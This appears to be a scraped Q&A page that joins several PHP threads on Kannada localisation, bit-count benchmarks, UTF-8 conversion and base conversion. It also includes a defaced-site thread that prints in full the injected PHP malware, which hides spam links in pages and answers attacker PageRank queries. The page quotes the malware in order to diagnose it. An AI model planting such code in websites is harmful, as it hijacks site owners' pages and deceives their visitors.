I wanted to build a website which would have two versions. English, Indian Language (Kannada).
The website should have same design, creatives , structure and data across the whole site.
This site is content heavy and needs a cms and a relevant language editor. I am a php coder and I am okay with any of the free cms present - wordpress, drupal , joomla. I have heard of installing fonts onto my shared server to support Kannada language. These fonts I guess should support all platforms (windows,mac,linux and mobile website.)
Can anyone please help me on this. Are there any free widgets, plugins which could be installed on my shared server and help display my website in intended languages.
Joomla has the joomfish plugin. It's good and extensive. It's worth looking into.
You should set correct charset for your language and I think utf-8 will work for you
header("Content-Type: text/html; charset=utf-8");
at top of your script
you can use typeface.js for English, Indian Langauge (Kannada)
easy and nice one! get your typeface.js
Hi long back i have done kannada website in php , i used define for menu and non-dynamic stuffs in website, and what ever data is going to inserted in to DB convert them to "entities"
you can use this function
function ascii_to_entities($str)
{
$count = 1;
$out = '';
$temp = array();
for ($i = 0, $s = strlen($str); $i < $s; $i++)
{
$ordinal = ord($str[$i]);
if ($ordinal < 128)
{
/*
If the $temp array has a value but we have moved on, then it seems only
fair that we output that entity and restart $temp before continuing. -Paul
*/
if (count($temp) == 1)
{
$out .= '&#'.array_shift($temp).';';
$count = 1;
}
$out .= $str[$i];
}
else
{
if (count($temp) == 0)
{
$count = ($ordinal < 224) ? 2 : 3;
}
$temp[] = $ordinal;
if (count($temp) == $count)
{
$number = ($count == 3) ? (($temp['0'] % 16) * 4096) + (($temp['1'] % 64) * 64) + ($temp['2'] % 64) : (($temp['0'] % 32) * 64) + ($temp['1'] % 64);
$out .= '&#'.$number.';';
$count = 1;
$temp = array();
}
}
}
return $out;
}
or define method
define('lang','ಕನ್ನಡ');
link -http://www.jayashomeshop.com/?language=kn
Related
I've been working on a code and finally got to the pint that it works but my PHP processes so much that I was wondering if there are any easier ways to fix my problem
The database I'm working with is filled with tracks from artists, and example from the table:
composer_name = [#123:artist_display_name1] ft.
[#58:artist_display_name2]
track_title = Le Example ( [#798:artist_display_name3] Remix)
Where the number between the [ : is the artist_id (linked to artist profile) and the string between : ] is the display name for the artist (Sometimes artists use different names, that's why)
Now question is how to get the display names as fast as possible without brackets, but use the artist_id to perform another action (such as making a link out of it and put the artist_id in a database or something)
The obligatory way would be to use a regex with preg_match:
function renderRow($rawRow) {
return preg_replace("/\[#([0-9]*):([^\]]*)\]/", "$2", $rawRow);
}
Another way which is about 10x to 20x times faster (according to my quick benchmarks) is a more direct approach (O(N)):
function renderRow($rawRow) {
$len = strlen($rawRow);
$status = 0;
for ($i = 0; $i < $len; $i++) {
$char = $rawRow[$i];
if ($char === '[')
$status = 1;
else if ($status === 1) {
if ($char === ':')
$status = 2;
continue;
}
else if ($status === 2 && $char === ']')
$status = 0;
else
$row .= $char;
}
return $row;
}
I just want to find some fastest set bits count function in the php.
For example, 0010101 => 3, 00011110 => 4
I saw there is good Algorithm that can be implemented in c++.
How to count the number of set bits in a 32-bit integer?
Is there any php built-in function or fastest user-defined function?
You can try to apply a mask with a binary AND, and use shift to test bit one by one, using a loop that will iterate 32 times.
function getBitCount($value) {
$count = 0;
while($value)
{
$count += ($value & 1);
$value = $value >> 1;
}
return $count;
}
You can also easily put your function into PHP style
function NumberOfSetBits($v)
{
$c = $v - (($v >> 1) & 0x55555555);
$c = (($c >> 2) & 0x33333333) + ($c & 0x33333333);
$c = (($c >> 4) + $c) & 0x0F0F0F0F;
$c = (($c >> 8) + $c) & 0x00FF00FF;
$c = (($c >> 16) + $c) & 0x0000FFFF;
return $c;
}
I could figure out a few ways to but not sure which one would be the fastest :
use substr_count()
replace all none '1' characters by '' and then use strlen()
use preg_match_all()
PS : if you start with a integer these examples would involve using decbin() first.
There are a number of other ways; but for a decimal 32 bit integer, NumberOfSetBits is definitely the fastest.
I recently stumbled over Brian Kernighan´s algorithm, which has O(log(n)) instead of most of the others having O(n). I don´t know why it´s not appearing that fast here; but it still has a measurable advantage over all other non-specialized functions.
Of course, nothing can beat NumberOfSetBits with O(1).
my benchmarks:
function getBitCount($value) { $count = 0; while($value) { $count += ($value & 1); $value = $value >> 1; } return $count; }
function getBitCount2($value) { $count = 0; while($value) { if ($value & 1)$count++; $value >>= 1; } return $count; }
// if() instead of +=; >>=1 instead of assignment: sometimes slower, sometimes faster
function getBitCount2a($value) { for($count = 0;$value;$value >>= 1) if($value & 1)$count ++; return $count; }
// for instead of while: sometimes slower, sometimes faster
function getBitCount3($value) { for($i=1,$count=0;$i;$i<<=1) if($value&$i)$count++; return $count; }
// shifting the mask: incredibly slow (always shifts all bits)
function getBitCount3a($value) { for($i=1,$count=0;$i;$i<<=1) !($value&$i) ?: $count++; return $count; }
// with ternary instead of if: even slower
function NumberOfSetBits($v) {
// longest (in source code bytes), but fastest
$c = $v - (($v >> 1) & 0x55555555); $c = (($c >> 2) & 0x33333333) + ($c & 0x33333333);
$c = (($c >> 4) + $c) & 0x0F0F0F0F; $c = (($c >> 8) + $c) & 0x00FF00FF;
$c = (($c >> 16) + $c) & 0x0000FFFF; return $c;
}
function bitsByPregReplace($n) { return strlen(preg_replace('_0_','',decbin($n))); }
function bitsByNegPregReplace($n) { return strlen(preg_replace('/[^1]/','',decbin($n))); }
function bitsByPregMatchAll($n) { return preg_match_all('/1/',decbin($n)); }
function bitsBySubstr($i) { return substr_count(decbin($i), '1'); }
function bitsBySubstrInt($i) { return substr_count(decbin($i), 1); }
// shortest (in source code bytes)
function bitsByCountChars($n){ return count_chars(decbin($n))[49]; }
// slowest by far
function bitsByCountChars1($n) { return count_chars(decbin($n),1)[49]; }
// throws a notice for $n=0
function Kernighan($n) { for(;$n;$c++)$n&=$n-1;return$c; }
// Brian Kernighan’s Algorithm
function benchmark($function)
{
gc_collect_cycles();
$t0=microtime();
for($i=1e6;$i--;) $function($i);
$t1=microtime();
$t0=explode(' ', $t0); $t1=explode(' ', $t1);
echo ($t1[0]-$t0[0])+($t1[1]-$t0[1]), " s\t$function\n";
}
benchmark('getBitCount');
benchmark('getBitCount2');
benchmark('getBitCount2a');
benchmark('getBitCount3');
benchmark('getBitCount3a');
benchmark('NumberOfSetBits');
benchmark('bitsBySubstr');
benchmark('bitsBySubstrInt');
benchmark('bitsByPregReplace');
benchmark('bitsByPregMatchAll');
benchmark('bitsByCountChars');
benchmark('bitsByCountChars1');
benchmark('decbin');
banchmark results (sorted)
> php count-bits.php
2.286831 s decbin
1.364934 s NumberOfSetBits
3.241821 s Kernighan
3.498779 s bitsBySubstr*
3.582412 s getBitCount2a
3.614841 s getBitCount2
3.751102 s getBitCount
3.769621 s bitsBySubstrInt*
5.806785 s bitsByPregMatchAll*
5.748319 s bitsByCountChars1*
6.350801 s bitsByNegPregReplace*
6.615289 s bitsByPregReplace*
13.863838 s getBitCount3
16.39626 s getBitCount3a
19.304038 s bitsByCountChars*
Those are the numbers from one of my runs (with PHP 7.0.22); others showed different order within the 3.5 seconds group. I can say that - on my machine - four of those five are pretty equal, and bitsBySubstrInt is always a little slower due to the typecasts.
Most other ways require a decbin (which mostly takes longer than the actual counting; I marked them with a * in the benchmark results); only BitsBySubstr would get close to the winner without that gammy leg.
I find it noticeable that you can make count_chars 3 times faster by limiting it to only existing chars. Seems like array indexing needs quite some time.
edit:
added another preg_replace version
fixed preg_match_all version
added Kernighan´s algorithm (fastest algorithm for arbitrary size integers)
added garbage collection to benchmarking function
reran benchmarks
My benchmarking code
start_benchmark();
for ($i = 0; $i < 1000000; $i++) {
getBitCount($i);
}
end_benchmark();
start_benchmark();
for ($i = 0; $i < 1000000; $i++) {
NumberOfSetBits($i);
}
end_benchmark();
start_benchmark();
for ($i = 0; $i < 1000000; $i++) {
substr_count(decbin($i), '1');
}
end_benchmark();
Benchmarking result:
benchmark (NumberOfSetBits()) : 1.429042 milleseconds
benchmark (substr_count()) : 1.672635 milleseconds
benchmark (getBitCount()): 10.464981 milleseconds
I think NumberOfSetBits() and substr_count() are best.
Thanks.
This option is a little faster than NumberOfSetBits($v)
function bitsCount(int $integer)
{
$count = $integer - (($integer >> 1) & 0x55555555);
$count = (($count >> 2) & 0x33333333) + ($count & 0x33333333);
$count = ((((($count >> 4) + $count) & 0x0F0F0F0F) * 0x01010101) >> 24) & 0xFF;
return $count;
}
Benckmark (PHP8)
1.78 s bitsBySubstr
1.42 s NumberOfSetBits
1.11 s bitsCount
Here is another solution. Maybe not the fastet but therefor the shortest solution. It also works for negative numbers:
function countBits($num)
{
return substr_count(decbin($num), "1");
}
Hi All:
I met a tricky problem here: I need to read some files and convert its content into some XML files. For each line in the file, I believe most of them are valid ASCII code, so that I could just read the line into php and save the line into an XML file with default encoding XML as 'UTF-8'. However, I noticed that there might be some GBK, GB2312(Chinese character), SJIS(Japanese characters) etc.. existed in the original files, php have no problems to save the string into XML directly. However, the XML parser will detect there are invalid UTF-8 codes and crashed.
Now, I think the best library php function for my purpose is probably:
$decode_str = mb_convert_encoding($str, 'UTF-8', 'auto');
I try to run this conversation function for each line before inserting it into XML. However, as I tested with some UTF-16 and GBK encoding, I don't think this function could correctly discriminate the input string encoding schema.
In addition, I tried to use CDATA to wrap the string, it's weird that the XML parser still complain about invalid UTF-8 codes etc.. of course, when I vim the xml file, what's inside the CDATA is a mess for sure.
Any suggestions?
I spend once a lot of time to create a safe UTF8 encoding function:
function _convert($content) {
if(!mb_check_encoding($content, 'UTF-8')
OR !($content === mb_convert_encoding(mb_convert_encoding($content, 'UTF-32', 'UTF-8' ), 'UTF-8', 'UTF-32'))) {
$content = mb_convert_encoding($content, 'UTF-8');
if (mb_check_encoding($content, 'UTF-8')) {
// log('Converted to UTF-8');
} else {
// log('Could not be converted to UTF-8');
}
}
return $content;
}
The main problem was to figure out which encoding the input string is already using. Please tell me if my solution works for you as well!
I ran into this problem while using json_encode. I use this to get everything into utf8.
Source: http://us2.php.net/manual/en/function.json-encode.php
function ascii_to_entities($str)
{
$count = 1;
$out = '';
$temp = array();
for ($i = 0, $s = strlen($str); $i < $s; $i++)
{
$ordinal = ord($str[$i]);
if ($ordinal < 128)
{
if (count($temp) == 1)
{
$out .= '&#'.array_shift($temp).';';
$count = 1;
}
$out .= $str[$i];
}
else
{
if (count($temp) == 0)
{
$count = ($ordinal < 224) ? 2 : 3;
}
$temp[] = $ordinal;
if (count($temp) == $count)
{
$number = ($count == 3) ? (($temp['0'] % 16) * 4096) +
(($temp['1'] % 64) * 64) +
($temp['2'] % 64) : (($temp['0'] % 32) * 64) +
($temp['1'] % 64);
$out .= '&#'.$number.';';
$count = 1;
$temp = array();
}
}
}
return $out;
}
i have godaddy shared hosting and the site got defaced. whose at fault? the site is created with php is it possible the person can get in through some vunerability on my site and modify a file? or is that all through server side being that godaddy wasnt secure enough?
this is what was injected in a file. what does it do?
<?php
//{{1311051f
GLOBAL $alreadyxxx;
if($alreadyxxx != 1)
{
$alreadyxxx = 1;
$olderrxxx=error_reporting(0);
function outputxxx_callback($str)
{
$links = '<SPAN STYLE="font-style: normal; visibility: hidden; position: absolute; left: 0px; top: 0px;"><div id="rb4d41ca36473534443c002805">blow jobs teen<br></div></SPAN>';
preg_match("|</body>|si",$str,$arr);
return str_replace($arr[0],$links.$arr[0],$str);
}
function StrToNum($Str, $Check, $Magic)
{
$Int32Unit = 4294967296;
$length = strlen($Str);
for ($i = 0; $i < $length; $i++) {
$Check *= $Magic;
if ($Check >= $Int32Unit) {
$Check = ($Check - $Int32Unit * (int) ($Check / $Int32Unit));
$Check = ($Check < -2147483648) ? ($Check + $Int32Unit) : $Check;
}
$Check += ord($Str{$i});
}
return $Check;
}
function HashURL($String)
{
$Check1 = StrToNum($String, 0x1505, 0x21);
$Check2 = StrToNum($String, 0, 0x1003F);
$Check1 >>= 2;
$Check1 = (($Check1 >> 4) & 0x3FFFFC0 ) | ($Check1 & 0x3F);
$Check1 = (($Check1 >> 4) & 0x3FFC00 ) | ($Check1 & 0x3FF);
$Check1 = (($Check1 >> 4) & 0x3C000 ) | ($Check1 & 0x3FFF);
$T1 = (((($Check1 & 0x3C0) << 4) | ($Check1 & 0x3C)) <<2 ) | ($Check2 & 0xF0F );
$T2 = (((($Check1 & 0xFFFFC000) << 4) | ($Check1 & 0x3C00)) << 0xA) | ($Check2 & 0xF0F0000 );
return ($T1 | $T2);
}
function CheckHash($Hashnum)
{
$CheckByte = 0;
$Flag = 0;
$HashStr = sprintf('%u', $Hashnum) ;
$length = strlen($HashStr);
for ($i = $length-1; $i >= 0; $i--) {
$Re = $HashStr{$i};
if (1 === ($Flag % 2)) {
$Re += $Re;
$Re = (int)($Re / 10) + ($Re % 10);
}
$CheckByte += $Re;
$Flag ++;
}
$CheckByte %= 10;
if (0 !== $CheckByte) {
$CheckByte = 10 - $CheckByte;
if (1 === ($Flag % 2) ) {
if (1 === ($CheckByte % 2)) {
$CheckByte += 9;
}
$CheckByte >>= 1;
}
}
return '7'.$CheckByte.$HashStr;
}
function getpr($url)
{
$ch = CheckHash(HashURL($url));
$file = "http://toolbarqueries.google.com/search?client=navclient-auto&ch=$ch&features=Rank&q=info:$url";;
$data = file_get_contents($file);
$pos = strpos($data, "Rank_");
if($pos === false){return -1;} else{
$pr=substr($data, $pos + 9);
$pr=trim($pr);
$pr=str_replace("
",'',$pr);
return $pr;
}
}
if(isset($_POST['xxxprch']))
{
echo getpr($_POST['xxxprch']);
exit();
}
else
ob_start('outputxxx_callback');
error_reporting($olderrxxx);
}
//}}75671d8f
?>
Chances are it was an exploit from a package you use on your site (such as phpBB, phpNuke, etc.) people crawl the web looking for the vulnerable hosts and exploit the ones they can. The code is open-source and readily available so there's not much you can do for protection other than use the latest version.
Companies like PacketStormSecurity make it easy for "skript kiddies" to find a PoC (Proof of Concept) script and they take it upon themselves to try it on every site they can. Some are as easy as a crafted google query to find a list of potential targets.
You may be able to look through your logs for a GET url that resulted in the exploit, but best-case scenario is just stay as up-to-date as possible, and never rely on your host to make restore-able backups of your site.
The real deal to this hack is here: http://frazierit.com/blog/?p=103
No SQL injection, no secret sauce, these guys were listening to the wire, or there is an agent on some machine that you use passing keystrokes their way, and you were using a clear text password FTP to work with your site. They gained FTP access to your site, and systematically injected code into .php and .html pages on your site. They are building/have built a distributed network of page ranking testers via numerous ISPs. Probably to validate SEO operations. Easy to clean, just need to go some command line regex work.
-Drew
The script allows someone to specify a URL to the script using the variable xxxprch. It checks the hash of the URL to make sure it conforms to some standard and searches google for the URL. It then checks to see if there is the word "rank_" in the search results and gets the next 9 characters following "rank_" and returns them to be displayed on the user screen.
If the user didn't specify a variable in xxxprch then it automatically writes out to the page links to a sexually explicit website.
Note: If you get a Virtual Private Server (can be found for as cheap as $3 a month), you can install mod_security which prevents a lot of these types of attacks. On the other hand you would then need to keep the OS up to date.
I hate to say this but you are at fault. SQL/HTML/JS/code injection is your responsibility to handle. Also choosing a strong password is critical. It is totally possible for anyone to find a vulnerability and do anything.
It looks like that code is injecting links and somehow getting the Google page rank for some reason.
I think it falls under one of the Pragmatic Programmer's principles:
``select’’ Isn’t Broken It is rare to
find a bug in the OS or the compiler,
or even a third-party product or
library. The bug is most likely in the
application.
Replace OS/compiler/3rd-party library with shared hosting.
I need a base_convert() function that works from base 2 up to base 62 but I'm missing the math I need to use, I know that due to the limitations of PHP I need to make use of bcmath, which is fine.
Functions like these convert a number to and from base 10 to another base up to 62, but I want to implement the same functionality of base_convert(), e.g.: a only one function that can convert between arbitrary bases.
I've found a function that seems to do this, but it gives me the feeling of having some redundant and slow code and I would like to tweak it a little bit if I knew German, which I don't. =(
Here is a more readable version of the function:
function bc_base_convert($value, $quellformat, $zielformat)
{
$vorrat = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
if (min($quellformat, $zielformat) < 2)
{
trigger_error('Bad Format min: 2', E_USER_ERROR);
}
if (max($quellformat, $zielformat) > strlen($vorrat))
{
trigger_error('Bad Format max: ' . strlen($vorrat), E_USER_ERROR);
}
$dezi = '0';
$level = 0;
$result = '';
$value = trim(strval($value), "\r\n\t +");
$vorzeichen = '-' === $value{0} ? '-' : '';
$value = ltrim($value, "-0");
$len = strlen($value);
for ($i = 0; $i < $len; $i++)
{
$wert = strpos($vorrat, $value{$len - 1 - $i});
if (FALSE === $wert)
{
trigger_error('Bad Char in input 1', E_USER_ERROR);
}
if ($wert >= $quellformat)
{
trigger_error('Bad Char in input 2', E_USER_ERROR);
}
$dezi = bcadd($dezi, bcmul(bcpow($quellformat, $i), $wert));
}
if (10 == $zielformat)
{
return $vorzeichen . $dezi; // abkürzung
}
while (1 !== bccomp(bcpow($zielformat, $level++), $dezi));
for ($i = $level - 2; $i >= 0; $i--)
{
$factor = bcpow($zielformat, $i);
$zahl = bcdiv($dezi, $factor, 0);
$dezi = bcmod($dezi, $factor);
$result .= $vorrat{$zahl};
}
$result = empty($result) ? '0' : $result;
return $vorzeichen . $result;
}
Can anyone explain me the above function or give me some lights on the process of direct conversion between arbitrary bases?
As of PHP 5.3.2 both bc_math and gmp now support bases up to 62, so you can just do:
echo gmp_strval(gmp_init($mynumber, $srcbase), $destbase);
or the bc_math equivalent.
Please dont ask me where i got it from, i just remeber that its based of some examples i found on the web...
function charset_base_convert ($numstring, $fromcharset, $tocharset) {
$frombase=strlen($fromcharset);
$tobase=strlen($tocharset);
$chars = $fromcharset;
$tostring = $tocharset;
$length = strlen($numstring);
$result = '';
for ($i = 0; $i < $length; $i++) {
$number[$i] = strpos($chars, $numstring{$i});
}
do {
$divide = 0;
$newlen = 0;
for ($i = 0; $i < $length; $i++) {
$divide = $divide * $frombase + $number[$i];
if ($divide >= $tobase) {
$number[$newlen++] = (int)($divide / $tobase);
$divide = $divide % $tobase;
} elseif ($newlen > 0) {
$number[$newlen++] = 0;
}
}
$length = $newlen;
$result = $tostring{$divide} . $result;
}
while ($newlen != 0);
return $result;
}
The easiest approach for any translation problems, from numeric base to human languages, is to translate via an intermediate format.
function bc_base_convert($num, $from, $to) {
return bc_convert_to(bc_parse_num($num, $from), $to);
}
Now all you need to write are bc_convert_to and bc_parse_num. If the platform distinguishes numeric types, you'll need to take this in to account. Also, floating point numbers require special consideration because a number may have a finite representation in one base, but not another (e.g. 1/3 is 0.13 but 0.333...10, and 1/1010 is .0001100110011...2).
As for a generalized explanation of how conversion works, consider how positional base systems work. A numeral of the form "anan-1...a1a0" in a base b represents the number "an*bn + an-1*bn-1 + ... + a1*b1 + a0*b0". Conversion basically works by evaluating the expression in the context of another base β.
Most of the examples I found on the internet and in this answers use BC Math functions. If you do not want to use use BC Math functions, you can have a look at this library:
http://www.lalit.org/lab/base62-php-convert-number-to-base-62-for-short-urls/
It doesn’t use BC Math functions so works without the use of BC Math
library.
It uses the native base_convert functions when the base is below 36 for faster execution.
The output number is backward compatible with the native base_convert function.
Can be used to convert to and from arbitrary bases between 2-64.
I wrote about using the BCMath functions for decimal/binary conversion here: http://www.exploringbinary.com/base-conversion-in-php-using-bcmath/ . You could easily modify that code to convert to different bases.
For example, in the case of converting integers, modify routines dec2bin_i() and bin2dec_i(). Rename them and add a base parameter -- something like dec2base_i($base,$decimal_i) and base2dec_i($base,$num_i), change the hardcoded '2' to the variable $base, convert the numeric remainders to/from characters of the base, and rename the variables.
Now, to convert between arbitrary bases, use decimal as an intermediate and call both those new functions. For example, convert base 42 number "123" to base 59 by calling $dec = base2dec_i('42','123') followed by $b59 = dec2base_i(59,$dec).
(You could also make a combined function that does it in one call.)
This function output the same than GNU Multiple Precision if possible…
<?php
function base_convert_alt($val,$from_base,$to_base){
static $gmp;
static $bc;
static $gmp62;
if ($from_base<37) $val=strtoupper($val);
if ($gmp===null) $gmp=function_exists('gmp_init');
if ($gmp62===null) $gmp62=version_compare(PHP_VERSION,'5.3.2')>=0;
if ($gmp && ($gmp62 or ($from_base<37 && $to_base<37)))
return gmp_strval(gmp_init($val,$from_base),$to_base);
if ($bc===null) $bc=function_exists('bcscale');
$range='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
if ($from_base==10)
$base_10=$val;
else
{
$n=strlen(($val="$val"))-++$ratio;
if ($bc) for($i=$n;$i>-1;($ratio=bcmul($ratio,$from_base)) && $i--)
$base_10=bcadd($base_10,bcmul(strpos($range,$val[$i]),$ratio));
else for($i=$n;$i>-1;($ratio*=$from_base) && $i--)
$base_10+=strpos($range,$val[$i])*$ratio;
}
if ($bc)
do $result.=$range[bcmod($base_10,$to_base)];
while(($base_10=bcdiv($base_10,$to_base))>=1);
else
do $result.=$range[$base_10%$to_base];
while(($base_10/=$to_base)>=1);
return strrev($to_base<37?strtolower($result):$result);
}
echo base_convert_alt('2661500360',7,51);
// Output Hello